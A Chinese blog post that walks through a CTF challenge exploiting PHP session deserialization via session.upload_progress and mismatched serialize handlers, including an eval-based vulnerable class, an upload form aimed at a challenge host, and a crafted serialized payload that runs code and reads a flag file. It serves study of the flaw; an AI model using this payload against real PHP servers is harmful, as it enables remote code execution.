session.upload_progress反序列化学习

Session的配置选项和存储方式

在php.ini中存在四项配置项:

session.save_path=""       --设置session的存储路径
session.save_handler=""  --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start   boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler  string --定义用来序列化/反序列化的处理器名字。默认使用php

在kali里面php的默认配置

session.save_path="/var/lib/php/sessions"    表明所有的session文件都是存储  在/var/lib/php/sessions下
session.save_handler=files              表明session是以文件的方式来进行存储的
session.auto_start=0                         表明默认不启动session
session.serialize_handler=php           表明session的默认序列化引擎使用的是php序列话引擎

 session序列化引擎的储存方式

php_binary:  存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php:  存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):  存储方式是,经过serialize()函数序列化处理的值

漏洞成因

session在序列化存储的时候有多种不同的方式,因此要是php在反序列化我们存储的session数据和读取session时所使用的session.serialize_handler(引擎)不同,那么就有可能引发安全问题。

例如在php.ini的配置文件中默认的引擎是php_serialize

<?php
session_start();
$_SESSION['username'] = '|O:3:"qaq":0:{}'; 

 那么在session储存文件里面的就是

a:1:{s:8:"username";s:15:"|O:3:"qaq":0:{}";}

此时因为程序员的失误,将读取session的引擎设置为php 

<?php
ini_set('session.serialize_handler', 'php');
session_start();
var_dump($_SESSION);

 

然后会在session_start()返回session会话里面存储数据时,php引擎的反序列化作用下得到了qaq类。这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:8:"username";s:15:"作为SESSION的key,将o:3:"qaq":0:{}作为value,进行反序列化,最后就会得到qaq这个类。这也就导致了反序列化漏洞。

可以看一下session_staer()的处理方式和session的工作原理

PHP: session_start - Manual

[代码审计]PHP中session的存储方式(WP)_Y4tacker的博客-CSDN博客

 如果存储session数据的引擎不是php_serialize,读取session数据的引擎不是php,是不会成功的,后面会具体分析。

漏洞利用条件

php版本>=5.4 

session.upload_progress.enabled = on

session.upload_progress.cleanup=off 

session.upload_progress.prefix="upload_progress_"

session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"

session.serialize_handler = php_serialize

第二个enabled=on 就表明了upload_progress 处于开启状态。也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中。

 第三个 cleanup = on 表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要。如果不是off的话,得写个脚本对发送攻击包当时PHPSESSID条件竞争才能成功。

因为在session存储库中上传进度的文件在sess_PHPSESSID,如果是on,得写个脚本设置PHPSESSID为发送是的id。例如发送payload时的PHPSESSID=123,我们的脚本设置PHPSESSID为123,那么当页面源码session_start()读取时会读取sess_123的文件,最后成功利用引擎差异进行反序列化。

第四个 prefix = "upload_progress_" 和 第五个 name 拼接 将表示为session中的键名。 name的值是可控的。

第六个就是要求的存储session的引擎和读取的引擎不一致了 

总的来说,通过php.ini配置session.upload_progress之后,文件上传时,就会创建key为
session.upload_progress.prefix+session.upload_progress.name 的Session。其中session.upload_progress.prefix是配置文件中定义的,
session.upload_progress.name需要在form表单提交时,一并提交才可以。

漏洞演示环境 

kali虚拟机、物理机

注意!!!这里得修改kali里面php的配置为上面的配置

如果想方便一点,不想自己搭环境,可以直接跳过修改过程,直接来到别人弄好的环境

http://web.jarvisoj.com:32784/

 修改过程

在是root权限的前提下,在终端输入

service apache2 start

启动apache服务,此时会自动启动php环境。

然后以root权限打开/var/www/html/目录,写入index.php文件,内容如下:

<?php

phpinfo(); 

ctrl+f找到Loaded Configuration File ,查看apache引用的是哪里的配置文件 

接着用root权限进入这个目录,用Mousepad打开

 

进入php.ini内容后,依次按照上面的配置修改,记得把配置前面的分号去掉,那个是注释,不去掉不会生效。

最后还得在终端重启一下apache才会生效

service apache2 restart 

 注意!!!

修改了配置之后记得ctrl+s保存,不要忘记了要将php.ini里面的引擎修改为php_serialize,非常关键

利用session.upload_progress反序列化

演示代码

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?> 

可以看到上面的代码中使用了php引擎,但是没有什么可以控制序列化的点。

通过查看phpinfo发现session.upload_progress.enabled打开,因此就可以利用其向session中写入数据。

首先写一个向该程序上传文件的页面,当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名的变量时,就可以将filename的值赋值到session中。

https://www.php.net/manual/zh/session.upload-progress.php

所以可以通过Session Upload Progress来设置session,从phpinfo中可以得知,session.upload_progress.name = PHP_SESSION_UPLOAD_PROGRESS ,因此 post一个名为PHP_SESSION_UPLOAD_PROGRESS的参数,值随意。

将下面的代码放在本地的index.php,然后选择一个txt文件,抓包发送的数据。一定要选择一个文件发送!!!! 

<form action="http://web.jarvisoj.com:32784/" method="POST" enctype="multipart/form-data">
        <input type="hidden" name='PHP_SESSION_UPLOAD_PROGRESS' value="123" />
        <input type="file" name="file" />
        <input type="submit" />
</form>

这是抓取的数据包,得添加一下Cookie中的PHPSESSID=123这类,这个操作会在session的存储位置生成sess_123这个文件。

同时我们知道向目标网站发送一个文件后,会跳转到目标网站,不信可以自己试试看一下直接发送的效果。

 

 

所以思路就很清楚了,在抓取文件发送的包后加上PHPSESSID=123,会生成sess_PHPSESSID文件。同时会以PHPSESSID=123对目标网站进行访问,调用session_start(),从而引用这个sess_123文件进行反序列化。

 

注意!!!在数据包中有个123的位置不能为空,可以是其它字符 

这是修改后的

接下来就要构造payload作为filename的值提交,从而赋值给session

exp:

<?php
Class OowoO {
    public $mdzz;
    public function __construct()
    {
        $this->mdzz = 'print_r(scandir(dirname(__FILE__)));';
    }
}

$obj = new OowoO();
$ser = serialize($obj);
$ser = addslashes($ser);
$ser = str_replace("O:5","|O:5",$ser);
echo $ser;

payload:

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";} 

转义双引号是为了与原有的filename双引号区分开来。 加'|'是php引擎键名和值的分割。

可以看到代码执行成功了。

  

接着用下面的读flag就行了

print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));

比较各引擎情况的不同

我们更改一下代码处的引擎,和php.ini系统默认的引擎看看,为什么只能上面的引擎形式才能利用成功。

sess_111 

sess_111 =>  两个都是php_serialize。

在传值的时候修改PHPSESSID的值,会生成不同的sess_文件,这里来区别不同引擎的情况。

这里两个都是php_serialize,看一下生成的sess文件

不难发现s:71:"O:5:"OowoO":1:..........));";},这里s:71直接把我们后面的payload当成字符,而不是序列化的对象,所以没有成功。

sess_222 

sess_222 => 代码处的引擎是php,php.ini里面是php_serialize,就是我们能成功的条件。

 在session_start调用文件数据时,代码处的php引擎进行反序列化,此时php引擎会把|后面的内容当成要反序列化的对象,所以会反序列化我们的恶意代码。

sess_333

sess_333 => 代码处的引擎为php_serialize ,php.ini的引擎为php

不知道为什么,这里无论filename的值是什么,文件的内容还是一样的......一直都是这样失败,所以反序列化时啥都没有

sess_444

sess_444 =>两个引擎都是php

可以看到系统php引擎在刚开始的时候就用|来分隔键值了,无论你的filename里有没有|,在反序列化的时候都只是会当成字符来进行。

所以总的来说,利用session.upload_progress的前提还是得存储session数据和读取session数据的引擎不一致,要求存储时是php_serialize,读取时是php。

参考文章

PHP Session 序列化机制及其引发的安全漏洞 – Annevi's Blog

PHP中SESSION反序列化机制 | Spoock

[CTF][高校战疫]php-session反序列化题目_Y4tacker的博客-CSDN博客

[代码审计]PHP中session的存储方式(WP)_Y4tacker的博客-CSDN博客

利用session.upload_progress进行文件包含和反序列化渗透 - FreeBuf网络安全行业门户

linux中修改php配置文件不生效怎么办 - 编程语言 - 亿速云

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值